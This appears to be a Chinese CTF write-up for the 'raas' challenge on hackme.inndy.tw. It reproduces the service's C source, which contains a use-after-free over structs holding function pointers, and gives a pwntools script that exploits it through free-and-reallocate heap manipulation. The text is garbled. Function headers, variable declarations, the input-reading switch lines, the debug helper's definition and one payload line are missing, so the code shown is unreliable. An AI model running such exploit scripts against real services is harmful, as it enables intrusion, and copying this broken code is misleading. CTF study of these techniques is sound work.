# raas的wp

https://hackme.inndy.tw/scoreboard/ 题目很有趣，我做了raas这个题目感觉还不错，我把wp分享出来，方便大家学习 raas的题目要求是：

nc hackme.inndy.tw 7719
This is a Record-as-a-Service!
And also our fist heap-based challenge.
Source code is available
Tips: use after free

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

struct record {
void (*print)(struct record *);
void (*free)(struct record *);
union {
int integer;
char *string;
};
};

struct record *records[16];

{
char buff[32];
printf("%s > ", q);
fgets(buff, sizeof(buff), stdin);
return atoi(buff);
}

void rec_int_print(struct record *rec)
{
printf("Record(Type=Integer, Value=%d)\n", rec->integer);
}

void rec_str_print(struct record *rec)
{
printf("Record(Type=String, Value=%s)\n", rec->string);
}

void rec_int_free(struct record *rec)
{
free(rec);
puts("Record freed!");
}

void rec_str_free(struct record *rec)
{
free(rec->string);
free(rec);
puts("Record freed!");
}

void do_new()
{

if(idx < 0 || idx > 16) {
puts("Out of index!");
return;
}
if(records[idx]) {
printf("Index #%d is used!\n", idx);
return;
}

struct record *r = records[idx] = (struct record *)malloc(sizeof(struct record));
r->print = rec_int_print;
r->free = rec_int_free;

puts("Blob type:");
puts("1. Integer");
puts("2. Text");
unsigned int len;

switch(type) {
case 1:
break;
case 2:
if(len > 1024) {
return;
}
r->string = malloc(len);
printf("Value > ");
fgets(r->string, len, stdin);
r->print = rec_str_print;
r->free = rec_str_free;
break;
default:
puts("Invalid type!");
return;
}

puts("Okey, we got your data. Here is it:");
r->print(r);
}

void do_del()
{
records[idx]->free(records[idx]);
}

void do_dump()
{
records[idx]->print(records[idx]);
}

int main()
{
alarm(600);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);

puts("Welcome to use my Record-as-a-Service (free plan)");
puts("You can only save Integer or String for 600 seconds");

puts("Here is term of service. You must agree to use this service. Please read carefully!");
puts("================================================================================");
system("cat tos.txt | head -n 30 | sed -e 's/^/    /'");
puts("================================================================================");

while(1) {
puts("1. New record");
puts("2. Del record");
puts("3. Show record");

case 1:
do_new();
break;
case 2:
do_del();
break;
case 3:
do_dump();
break;
default:
puts("Bye~ Thanks for using our service!");
return 0;
}
}
}

0x9c45008 0x0804869e 0x080486de 0x004d2 0x011
0x9c45018 0x0804869e 0x080486de 0x004d2 0x020fe1

1 0x9c45008
2 0x9c45018
3 0x9c45008
4 0x9c45018

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'

from pwn import *
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

raw_input('debug:')
gdb.attach(io, "set follow-fork-mode parent\nb *" + addr)

elf = ELF('/home/h11p/ctf/raas')

io = process('/home/h11p/ctf/raas')

#io = remote('hackme.inndy.tw', 7719)

debug()
#io.recvuntil('Where What?')

io.recvuntil('Act > ')
io.sendline('1')
io.recvuntil('Index > ')
io.sendline('1')
io.recvuntil('Type > ')
io.sendline('1')
io.recvuntil('Value > ')
io.sendline('1234')

io.recvuntil('Act > ')
io.sendline('1')
io.recvuntil('Index > ')
io.sendline('2')
io.recvuntil('Type > ')
io.sendline('1')
io.recvuntil('Value > ')
io.sendline("1234")

io.recvuntil('Act > ')
io.sendline('2')
io.recvuntil('Index > ')
io.sendline('1')

io.recvuntil('Act > ')
io.sendline('2')
io.recvuntil('Index > ')
io.sendline('2')

io.recvuntil('Act > ')
io.sendline('1')
io.recvuntil('Index > ')
io.sendline('3')
io.recvuntil('Type > ')
io.sendline('2')
io.recvuntil('Length > ')
io.sendline('12')
io.recvuntil('Value > ')

io.recvuntil('Act > ')
io.sendline('1')
io.recvuntil('Index > ')
io.sendline('4')
io.recvuntil('Type > ')
io.sendline('2')
io.recvuntil('Length > ')
io.sendline('7')
io.recvuntil('Value > ')
io.sendline("a"*4)

io.recvuntil('Act > ')
io.sendline('2')
io.recvuntil('Index > ')
io.sendline('1')

io.interactive()
io.close()